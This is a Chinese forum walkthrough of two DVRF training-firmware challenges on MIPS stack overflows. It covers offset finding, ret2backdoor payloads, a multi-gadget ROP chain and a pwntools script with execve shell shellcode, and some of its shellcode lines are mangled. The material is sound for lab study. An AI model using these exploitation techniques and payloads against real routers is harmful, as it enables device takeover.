MIPS栈溢出漏洞实战解析:从DVRF题目看ROP链构造

打印 上一主题 下一主题

主题 1320|帖子 1320|积分 3960

前言

迩来导师要搞IOT漏洞挖掘项目,我得找找IOT学习资料,DVRF就适合IOT设备漏洞挖掘从入门到入坟....(bushi
固件分析

[img=720,257.413]https://pic1.imgdb.cn/item/67f0e6d80ba3d5a1d7edacb8.png[/img]

Squashfs系统,照旧小端序,提取一下文件
[img=720,385.0359712230216]https://pic1.imgdb.cn/item/67f0e71a0ba3d5a1d7edacd7.png[/img]

有漏洞的程序在pwnable目录下
[img=720,288.40525328330205]https://pic1.imgdb.cn/item/6805feb958cb8da5c8bc0025.png[/img]

不过DVRF里面还附带有程序的源码,所以我们先看看源码,再来看二进制程序
题目

stack_bof_01

[img=720,537.799511002445]https://pic1.imgdb.cn/item/67f0da640ba3d5a1d7eda7b4.png[/img]

乍一看,strcpy()和system()都有,buff叠满了,细一看system()函数是固定字符串,应该不会造成命令注入漏洞,因为已经把控制参数都给写好了(什么地狱笑话),直接留了个后门,所以只剩下strcpy()这个常见的栈溢出漏洞函数,没有对输入的内容限制长度,所以有栈溢出。buf一共200字节长度,只要argv[]这个我们可控的参数长度超过200就可以覆盖掉buf,然后劫持函数执行流到system("/bin/sh -c")这个后门函数即可
先checksec查抄二进制文件信息
[img=720,168.24976348155155]https://pic1.imgdb.cn/item/67f0eade0ba3d5a1d7edae34.png[/img]

什么都没有,城门大开,并且是mips32位小端序,所以要模拟起来的话,需要qemu-mipsel,思量到动态链接经常出幺蛾子,所以直接搞个静态的,即qemu-mipsel-static到固件的根目录下,
[img=720,48.56882406563355]https://pic1.imgdb.cn/item/67f0ece10ba3d5a1d7edaf09.png[/img]

然后开启模拟
  1. sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/statck_bof_01
复制代码
一开始以为显示的是缺少参数东西,查抄了好久查抄不出个所以然,后来才反应过来这是要在背面输入东西,然后就看见模拟成功跑起来了
[img=720,128.12167300380227]https://pic1.imgdb.cn/item/67f0eec30ba3d5a1d7edafcc.png[/img]

那接下来我们需要得到一个偏移量,即argv[]参数到寄存器R31也就是$ra的偏移量,要么静态IDA查看计算一番,不过有可能会不准,所以直接一劳永逸用动态调试来计算好了
首先开启一个端口8888
  1. sudo chroot . ./qemu-mipsel-static -g 8888 ./pwnable/Intro/statck_bof_01
复制代码
然后另起一个窗口,开启动态调试
  1. gdb-multiarch stack_bof_01
  2. set architecture mips
  3. target remote 127.0.0.1:8888
复制代码
[img=720,438.35616438356163]https://pic1.imgdb.cn/item/67f130a70ba3d5a1d7eddaf3.png[/img]

进来pwndbg初始状态
[img=720,574.8891031822565]https://pic1.imgdb.cn/item/67f1318f0ba3d5a1d7eddb3b.png[/img]

由于一开始已经在main函数里,所以直接n单步步过到strcpy函数,按理说这个流程应该没错,但是不知道是不是pwndbg自身的题目,不停报错
【----帮助网安学习,以下全部学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
 ① 网安学习发展路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析陈诉
 ④ 150+网安攻防实战技能电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战本领手册
 ⑦ 最新网安大厂口试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
排查了一天也不知道怎么解决,后来网上找了一个黑盒测试的方法
主要用于 调试 MIPS 架构的缓冲区溢出漏洞
  1. ulimit -c unlimited  #启用核心转储(core dump)功能,并解除大小限制,当程序崩溃,比如说段错误时,系统会生成一个 core 文件,记录崩溃时的内存状态,如寄存器、堆栈等 此命令确保 core 文件能被完整生成
  2. sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern' #设置核心转储文件的命名格式,方便后续调试时快速定位对应的崩溃文件
  3. sudo chroot . ./qemu-mipsel-static  ./pwnable/Intro/stack_bof_01 `cyclic 1000` #在 chroot 环境中,使用 QEMU 用户态模拟器运行 MIPS 小端序程序,并触发崩溃,程序因缓冲区溢出崩溃,生成 core 文件
  4. sudo gdb-multiarch ./pwnable/Intro/stack_bof_01 ./qemu_stack_bof_01_20250406-074606_5214.core -q #使用支持多架构的 GDB 加载程序及其核心转储文件进行调试,查看崩溃时的寄存器状态,比如说$pc 的值,确定溢出点偏移量
  5. cyclic -l 0x63616162 #通过崩溃时覆盖的地址,这里是0x63616162,反推溢出点偏移量 cyclic 工具生成一个 唯一递增的 4 字节模式字符串 比如说aaaabaaacaaadaaa...当程序崩溃时,若寄存器的值是 0x63616162(对应 ASCII baac,注意小端序),则执行cyclic -l 0x63616162 该值在模式字符串中的偏移量,即溢出点到返回地址的偏移
复制代码
说白了,整个调试模式流程如下:

  • 天生崩溃:通过 cyclic 字符串触发程序崩溃,天生 core 文件
  • 定位偏移:用 cyclic -l  计算偏移量
  • 构造 Payload:根据偏移量构造 填凑数据 + 目标地点 的利用载荷
  • 重新触发:用构造的 Payload 更换 cyclic 字符串,验证漏洞利用
学到了学到了
[img=720,355.295581829496]https://pic1.imgdb.cn/item/67f2323a0ba3d5a1d7eea2a9.png[/img]

所以我们得到了偏移204的位置覆盖了返回地点,所以我们要先覆盖204个字节长度(这里不用再加上4个字节长度的寄存器了,因为204就已经包罗了寄存器了),然后再加上程序自己留的后门函数system("/bin/sh -c")的地点,就可以完成一次攻击劫持流
[img=720,294.51851851851853]https://pic1.imgdb.cn/item/67f2406d0ba3d5a1d7eea8dd.png[/img]

由IDA可知,后门函数地点为0x00400950,并且要注意这里是小端序的写法,所以payload为
  1. sudo chroot ./ ./qemu-mipsel-static -g 1234 ./pwnable/Intro/stack_bof_01 `python -c 'print(b"a"*204 + b"\x50\x09\x40\x00")'`
复制代码
[img=720,29.432580841976815]https://pic1.imgdb.cn/item/67f244cc0ba3d5a1d7eeabae.png[/img]

由于pwndbg动态调试的时候出现异常,所以这里改为用IDA进行远程动态调试
[img=720,338.47085541256627]https://pic1.imgdb.cn/item/67f244aa0ba3d5a1d7eeab9b.png[/img]

[img=720,80.96211665664462]https://pic1.imgdb.cn/item/6805feda58cb8da5c8bc00bb.png[/img]

不出意外崩了,绝不意外呢....
根据技能文档分析,程序崩溃的根源与MIPS架构特性直接相关
在缓冲区溢出攻击场景中,全局指针寄存器$gp被覆盖是触发异常的核心因素。该寄存器负责维护全局数据区的基址定位,其值被破坏后,程序无法通过偏移计算正确访问全局变量或静态存储区,最终因寻址错误,比如说访问非法内存地点,导致崩溃
进一步联合漏洞利用流程,MIPS的函数执行机制要求$t9寄存器必须指向当前函数的入口地点,这是指令集中对函数跳转和数据索引的硬性规范。例如,调用dat_shell函数时,若$t9未正确指向其起始地点,代码将无法解析函数内的相对偏移,进而引发执行流紊乱
t9 寄存器总是生存的是函数的开头地点,若通过控制 ra 直接劫持到目标函数,t9 寄存器没有变化,照旧原来调用过的函数的地点
所以需要调用 ROP 来设置一次 t9 寄存器的地点为后门地点,进而 jr $t9,才能使得 gp 寄存器正确的寻址
而且这里不能用 python -c 命令作为命令行参数传进去,因为在 python 输出过程中会被截断
因此,完备的利用链需分两步完成:首先通过ROP gadget精准设置$t9寄存器的值,使其符合目标函数dat_shell的入口地点,再通过控制流劫持跳转至目标函数,从而绕过MIPS架构的寄存器约束,实现稳固攻击
[img=720,480.48533872598586]https://pic1.imgdb.cn/item/67f2481c0ba3d5a1d7eead7b.png[/img]

所以如今首要目标就是要找到一个gadgets,可以跳转到$t9寄存器,然后修改返回地点到 rop_gadget, 设置 $t9 为 dat_shell 函数的地点,跳转到 dat_shell 函数,执行system,在原程序中没有找到跳转到$t9的gadget
[img=720,57.66851704996035]https://pic1.imgdb.cn/item/67f28cd70ba3d5a1d7eee35c.png[/img]

在DVRF固件所提供的文件libc.so.0中刚好能找到我们想要的gadget

但是这不是真正的地点,我们得去找到libc的基地点再加上0x6b20才是我们所以填写到payload中的地点
所以如今题目又酿成了怎么找到libc的基地点,因为从ida来看,并没有@plt表,所以通过泄露一些在程序中已被调用的函数的地点,通过其在程序运行起来的地点减去在libc.so.0内的地点从而得到libc的基地点
那我们就用这个第一个的memset函数,在libc.so.0的地点为0001BE10

ida在memset下个断点,然后远程动态调试

找到memset在执行的时候的真正地点,为0x7F700E10
[img=720,299.00504686373466]https://pic1.imgdb.cn/item/67f2b1fd0ba3d5a1d7eef580.png[/img]

libc_base=0x7F700E10-0x0001be10=0x7f6e5000
gadget地点为=0x7f6e5000+0x6b20=0x7F6EBB20
  1. sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x20\xbb\x6e\x7f\x50\x09\x40\x00'")"
复制代码
[img=720,95.3584447144593]https://pic1.imgdb.cn/item/67f2b1540ba3d5a1d7eef552.png[/img]

我看网上另有一种方法,因为dat_shell的首地点在0x00400950,但是直接跳过去的话又会发生崩溃,所以在0x00400950处下一个断点,看看到底咋回事
可以看到经过三次单步步过之后,gp寄存器指向了一块不知名且无法访问的内存空间
而gp寄存器在MIPS中$gp是 全局指针寄存器,用于高效访问静态数据区,比如说全局变量、常量等
程序启动时,$gp 由运行时环境,比如说启动代码设置为指向 .got或数据段中心位置。
当$gp指向了一块不知名且无法访问的内存区域时,通常意味着程序在初始化、链接或运行时逻辑中存在严重题目,也有可能时$gp 本应在程序生命周期内保持恒定,但若代码中错误地修改了 $gp,比如说如误将其用作临时寄存器),会导致后续全局数据访问失败
[img=720,350.95033721643165]https://pic1.imgdb.cn/item/67f34a6f0ba3d5a1d7ef0f8b.png[/img]

总之既然直接跳转到0x00400950会发生错误,那根据上述的调试可知,只要绕过前面三步单步步过就可以了,所以把payload地点修改为0x0040095c
  1. sudo chroot . ./qemu-mipsel-static ./pwnable/Intro/stack_bof_01 "$(python -c "print 'A'*204 + '\x5c\x09\x40\x00'")"
复制代码
[img=720,114.23076923076923]https://pic1.imgdb.cn/item/67f34fcf0ba3d5a1d7ef127f.png[/img]

又get一种黑科技写法
这道题最重要的就是学到$t9寄存器的值是MIPS程序的函数的起始地点,这对rop链构造是至关重要的
stack_bof_02

先看源码
[img=720,394.6308724832215]https://pic1.imgdb.cn/item/67f38241e381c3632bee57c6.png[/img]

这一漏洞的本质仍属于典范的栈溢出攻击场景
程序通过命令行参数获取输入数据,在利用strcpy函数进行数据复制时,由于未对参数长度进行有效性校验,导致超出目标缓冲区的容量边界,从而引发栈空间溢出
而且,根据《揭秘家用路由器0day漏洞挖掘技能》书中所写到,main函数在MIPS架构中被归类为非叶子函数,这意味着其栈帧中会生存返回地点寄存器$ra
当溢出发生时,就可以通过构造的输入数据覆盖栈上存储的$ra值,当main函数执行完毕并实验通过jr $ra返回时,程序流将被劫持到被窜改的地点
不过跟上一道相比,少了后门函数
因此,我们需要通过注入Shellcode到栈或寄存器中,并将$ra覆盖为Shellcode的起始地点,从而在程序返回时触发攻击代码的执行
[img=720,116.06373008434863]https://pic1.imgdb.cn/item/67f38203e381c3632bee57a3.png[/img]

查抄一下文件,发现啥保护都没有,32小端序
模拟,启动!
  1. sudo chroot . ./qemu-mipsel-static ./pwnable/ShellCode_Required/stack_bof_02
复制代码
[img=720,97.88819875776397]https://pic1.imgdb.cn/item/67f3877ae381c3632bee5bde.png[/img]

这已经昭示了要弄shellcode了
动态调试照旧不行啊...搞不定,用用黑盒测试
[img=720,124.46687697160883]https://pic1.imgdb.cn/item/67f3955be381c3632bee63d8.png[/img]

要覆盖508个字节长度
预备构造ROP
由于MIPS采用流水线指令集架构,其存在cache incoherency特性,因此在跳转到shellcode之前必须调用sleep等函数将数据区刷新至当前指令区,如许才能保证shellcode的正常执行
流水线指令集架构
是一种通过并行化处理指令执行过程来提高处理器服从的计划方法。其核心思想是将指令的执行过程划分为多个独立的阶段
比如说取指、译码、执行、访存、写回等
每个阶段由专门的硬件单位处理,不同阶段的指令可以同时执行,从而形成类似“工厂流水线”的工作模式
典范的流水线分为以下阶段(以经典5级流水线为例):

  • 取指(IF):从内存中读取指令。
  • 译码(ID):解析指令的利用码和利用数。
  • 执行(EX):执行算术或逻辑运算。
  • 访存(MEM):访问内存(如加载或存储数据)。
  • 写回(WB):将效果写回寄存器。
    每个阶段完成后,指令会通报到下一阶段,同时新的指令进入当前阶段。例如:
  • 第1条指令处于写回阶段时,
  • 第2条指令可能处于访存阶段,
  • 第3条指令处于执行阶段,
  • ...
举个例子
  1. ADD R1, R2, R3 #R1 = R2 + R3,算术运算
  2. LW R4, 0(R1) #从内存地址R1+0加载数据到R4,访存操作
  3. SUB R5, R4, R6 # R5 = R4 - R6,依赖第2条指令的R4结果
  4. BEQ R5, R0, LABEL #若R5 == 0,跳转到LABEL,分支指令
复制代码
[img=720,452.6126126126126]https://www.yijinglab.com/headImg.action?news=41edb2be-05e0-4a63-829b-9786aea59f42.png[/img]
所以,我们需要在跳转前调用 sleep(1) 刷新指令缓存,而sleep函数将参数存放在$a0寄存器中,所以我们在libc.so.0中寻找我们所要的gadget
[img=720,298.02197802197804]https://pic1.imgdb.cn/item/67fb77ae88c538a9b5cd54fe.png[/img]

随便选一个了,选了第二个,且gadget的末尾是跳转到$s1寄存器,先到0x0002fb10地点查看一番

由图所示,我们还要找到可以控制$s1的gadget,以便覆盖数据的时候可以覆盖掉$s1寄存器
但是在main函数中没有出现类似 lw $s0, offset($sp) 的指令,意味着该函数未主动恢复生存寄存器($s0−$s7)的值
函数内部利用了($s0-$s7)这些寄存器,需在函数开头将其生存到栈中(sw $sN, offset($sp)),并在返回前恢复(lw $sN, offset($sp))。
而临时寄存器($t0-$t9)无需生存,调用者需假设其值在函数调用后可能被破坏。
若main函数未利用s0−s7,则无需在栈帧中生存/恢复这些寄存器,因此末尾不会有lw $s0, offset($sp)类指令。
所以由于main函数末尾没有lw $s1, offset($sp),攻击者无法通过覆盖栈上生存的$s1旧值来直接控制该寄存器。
所以,无法直接控制$s1寄存器

需通过其他途径间接控制$s1,比如说,利用其他函数中的gadget恢复$s1,大概是通过数据通报链,比如move指令,将可控寄存器的值通报到$s1
所以照旧通过mipsrop.find("lw $s1")找到了一些gadget 0x00006A50
[img=720,437.6593886462882]https://pic1.imgdb.cn/item/67fd19c688c538a9b5d0edbb.png[/img]

理一下逻辑,利用gadget2=0x00006A50这段gadget设置好寄存器,修改好$s1的值,然后利用gadget1=0x0002FB10这段gadget去刷新数据区
同时照旧要找到libc的地点,由上一题可知,libc基地点为0x7f6e5000
所以gadget1=0x7f6e5000+0x0002fb10=0x7f714b10
gadget2=0x00006a50+0x7f6e5000=0x7f6eba50
并且由ida可知调整shellcode的位置为0x58
  1. gadget1=0x7f714b10
  2. gadget2=0x7f6eba50
  3. payload="a"*508
  4. payload+=p32(gadget2)
  5. payload+="a"*0x58
  6. payload+="aaaa" #覆盖s0
  7. payload+="aaaa" #覆盖s1
  8. payload+="aaaa" #覆盖s2
  9. payload+=p32(gadget1)
复制代码
[img=720,152.45657568238212]https://pic1.imgdb.cn/item/67fd259188c538a9b5d0f387.png[/img]

由ida可知,sleep静态地点为0x0002F2B0,再加上libc_addr的话就为0x7F7142B0
但是不能把sleep地点直接写到s1上,因为当这里填入sleep函数的地点后,程序会直接跳转执行sleep函数,但由于$ra寄存器仍保留着gadget1的地点,在sleep函数执行完毕后又会重新返回到当前位置。因此,需要寻找一个具备双重功能的gadget3——它既能通过s0或s2寄存器实现跳转控制,同时又可以或许对ra寄存器进行重新赋值,通过mipsrop.tail()找到的gadget3 0x00020F1C+libc_addr=0x7f705f1c
  1. gadget1=0x7f714b10
  2. gadget2=0x7f6eba50
  3. gadget3=0x7f705f1c
  4. sleep_addr=0x7f7142b0
  5. payload="a"*508
  6. payload+=p32(gadget2)
  7. payload+="b"*0x58
  8. payload+="cccc" #覆盖s0
  9. payload+=p32(gadget3) #覆盖s1
  10. payload+=p32(sleep)#覆盖s2,写入sleep
  11. payload+=p32(gadget1)
  12. payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
  13. payload+="aaaa"#覆盖$s0
  14. payload+="aaaa"#覆盖$s1
  15. payload+="aaaa"#覆盖$s2
  16. payload+="aaaa"#覆盖$ra
复制代码
sleep函数执行完之后,得找一个可以跳转的地点,并且在那上面可以写shellcode
不过没有找到,在师傅发起下,找了一个可以先控制寄存器上的值,再跳转到这里,通过mipsrop.stackerfind(),gadget4=0x00016dd0+libc_addr=0x7f6fbdd0
  1. gadget1=0x7f714b10
  2. gadget2=0x7f6eba50
  3. gadget3=0x7f705f1c
  4. gadget4=0x7f6fbdd0
  5. sleep_addr=0x7f7142b0
  6. payload="a"*508
  7. payload+=p32(gadget2)
  8. payload+="b"*0x58
  9. payload+="cccc" #覆盖s0
  10. payload+=p32(gadget3) #覆盖s1
  11. payload+=p32(sleep)#覆盖s2,写入sleep
  12. payload+=p32(gadget1)
  13. payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
  14. payload+="aaaa"#覆盖$s0
  15. payload+="aaaa"#覆盖$s1
  16. payload+="aaaa"#覆盖$s2
  17. payload+=p32(gadget4)#覆盖$ra
复制代码
从ida显示的0x00016dd0可知,我们还得找一个可以利用$a0跳转的gadget5,直接简朴粗暴 mipsrop.find("move $t9,$a0") gadget5=0x000214A0+libc_addr=0x7f7064a0

  1. gadget1=0x7f714b10
  2. gadget2=0x7f6eba50
  3. gadget3=0x7f705f1c
  4. gadget4=0x7f6fbdd0
  5. gadget5=0x7f7064a0
  6. sleep_addr=0x7f7142b0
  7. payload="a"*508
  8. payload+=p32(gadget2)
  9. payload+="b"*0x58
  10. payload+="cccc" #覆盖s0
  11. payload+=p32(gadget3) #覆盖s1
  12. payload+=p32(sleep)#覆盖s2,写入sleep
  13. payload+=p32(gadget1)
  14. payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码
  15. payload+=p32(gadget5)#覆盖$s0
  16. payload+="aaaa"#覆盖$s1
  17. payload+="aaaa"#覆盖$s2
  18. payload+=p32(gadget4)#覆盖$ra
  19. payload+="f"*0x18
  20. payload += p32(0xdeadbeef)
  21. payload += shellcode
复制代码
随便找了个网站天生了一段小端的shellcode
  1. shellcode = “”
  2. shellcode += "xffxffx06x28"  # slti $a2, $zero, -1
  3. shellcode += "x62x69x0fx3c"  # lui $t7, 0x6962
  4. shellcode += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
  5. shellcode += "xf4xffxafxaf"  # sw $t7, -0xc($sp)
  6. shellcode+= "x73x68x0ex3c"  # lui $t6, 0x6873
  7. shellcode += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
  8. shellcode += "xf8xffxaexaf"  # sw $t6, -8($sp)
  9. shellcode += "xfcxffxa0xaf"  # sw $zero, -4($sp)
  10. shellcode += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc
  11. shellcode += "xffxffx05x28"  # slti $a1, $zero, -1
  12. shellcode += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
  13. shellcode += "x0cx01x01x01"  # syscall 0x40404
复制代码
完备的payload
  1. from pwn import *context.binary = "./pwnable/ShellCode_Required/stack_bof_02"context.arch = "mips"context.endian = "little"gadget1=0x7f714b10gadget2=0x7f6eba50gadget3=0x7f705f1cgadget4=0x7f6fbdd0gadget5=0x7f7064a0sleep_addr=0x7f7142b0​shellcode = “”
  2. shellcode += "xffxffx06x28"  # slti $a2, $zero, -1
  3. shellcode += "x62x69x0fx3c"  # lui $t7, 0x6962
  4. shellcode += "x2fx2fxefx35"  # ori $t7, $t7, 0x2f2f
  5. shellcode += "xf4xffxafxaf"  # sw $t7, -0xc($sp)
  6. shellcode+= "x73x68x0ex3c"  # lui $t6, 0x6873
  7. shellcode += "x6ex2fxcex35"  # ori $t6, $t6, 0x2f6e
  8. shellcode += "xf8xffxaexaf"  # sw $t6, -8($sp)
  9. shellcode += "xfcxffxa0xaf"  # sw $zero, -4($sp)
  10. shellcode += "xf4xffxa4x27"  # addiu $a0, $sp, -0xc
  11. shellcode += "xffxffx05x28"  # slti $a1, $zero, -1
  12. shellcode += "xabx0fx02x24"  # addiu;$v0, $zero, 0xfab
  13. shellcode += "x0cx01x01x01"  # syscall 0x40404​payload="a"*508payload+=p32(gadget2)payload+="b"*0x58payload+="cccc" #覆盖s0payload+=p32(gadget3) #覆盖s1payload+=p32(sleep)#覆盖s2,写入sleeppayload+=p32(gadget1)​payload+="c"*0x18 #gadget3需要调整的shellcode位置的字节码payload+=p32(gadget5)#覆盖$s0payload+="aaaa"#覆盖$s1payload+="aaaa"#覆盖$s2payload+=p32(gadget4)#覆盖$ra​payload+="f"*0x18payload += p32(0xdeadbeef)payload += shellcode​with open("stack_bof_02_pyload","w") as file:    file.write(payload)
复制代码
[img=720,163.39152119700748]https://pic1.imgdb.cn/item/67ff60cb88c538a9b5d332ca.png[/img]

这道题最重要的就是学到mipsrop链的构造。
更多网安技能的在线实操练习,请点击这里>>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

正序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

诗林

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表